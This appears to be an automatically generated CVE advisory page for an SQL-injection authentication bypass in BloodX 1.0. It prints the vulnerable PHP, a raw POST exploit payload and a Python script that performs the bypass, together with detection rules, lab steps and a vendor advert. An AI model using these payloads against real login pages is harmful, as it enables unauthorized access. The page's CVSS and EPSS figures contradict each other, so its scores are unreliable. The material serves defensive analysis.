☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2020-37156

CVE-2020-37156 Authentication Bypass in Bloodx
📅 PUBLISHED: 2026-02-11 20:49 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2020-37156 is an authentication bypass vulnerability in BloodX 1.0, a web application. The flaw resides in login.php, where an attacker can bypass authentication by sending a crafted payload with '=''or' parameters. This allows unauthorized access to the dashboard without valid credentials. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is critical as it exposes the entire application backend. No patch is available, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the simplicity of the exploit makes it a high risk for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application (BloodX 1.0) with no known supply chain dependencies.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unassigned)
  • Vector: UNKNOWN
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability allows complete bypass of authentication, leading to full compromise of the application.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection-based authentication bypass. The login.php script likely constructs a SQL query using unsanitized user input. By injecting '=''or', the attacker manipulates the query to always return true, bypassing credential checks.

Example vulnerable query:

SELECT * FROM users WHERE username='admin' AND password=''=''or''

The injected payload '=''or' breaks the query logic, making the condition always true.

Root Cause: Lack of input validation and parameterized queries in PHP.

Vulnerable vs. Patched Code

Vulnerable Code (login.php):

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // grant access
}

Patched Code (hypothetical):

$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM users WHERE username=? AND password=?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "ss", $username, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
if (mysqli_num_rows($result) > 0) {
    // grant access
}

Exploitation & Lab Setup

Red Team

Exploit Payload:

POST /login.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password='=''or'

Automated Exploit (Python):

import requests

url = "http://target.com/login.php"
payload = {"username": "admin", "password": "'=''or'"}
response = requests.post(url, data=payload)
if "dashboard" in response.text:
    print("Authentication bypass successful!")

Lab Setup:

  1. Install BloodX 1.0 on a local server (e.g., XAMPP).
  2. Navigate to http://localhost/bloodx/login.php.
  3. Submit the crafted payload.

Blue Team

Detection:

  • Monitor for unusual login attempts with SQL-like patterns in password fields.
  • Use WAF rules to block '=''or' and similar patterns.

Honeypot:

  • Deploy a fake login page that logs all attempts and alerts on SQL injection patterns.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /login.php with password='=''or' or similar SQL injection patterns.
  • Logs: PHP error logs showing SQL syntax errors or unexpected query results.
  • File: Unauthorized access to dashboard pages (e.g., /dashboard.php) without prior authentication.

Detection Engineering

YARA Rule

rule BloodX_AuthBypass {
    meta:
        description = "Detects BloodX 1.0 authentication bypass payload"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $payload = /password=['"]?=''or['"]?/
    condition:
        $payload
}

Sigma Rule

title: BloodX Authentication Bypass Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection payload in login attempts
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/login.php'
        cs-username: 'admin'
        cs-password|contains: "'=''or'"
    condition: selection
falsepositives:
    - Legitimate testing
level: high

Suricata Rule

alert http any any -> any any (msg:"BloodX Authentication Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/login.php"; http_uri; content:"password"; nocase; content:"'=''or'"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the BloodX application from the internet.
  2. Apply a WAF rule to block SQL injection patterns.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Replace vulnerable code with parameterized queries (see patched code above).
  • If vendor is unresponsive, consider rewriting the authentication module or migrating to a supported application.

Valters IT Signature:

  • This report is provided for educational and defensive purposes only. Unauthorized exploitation is illegal.

Report generated by Valters IT DevSecOps AI

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2020-37156/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.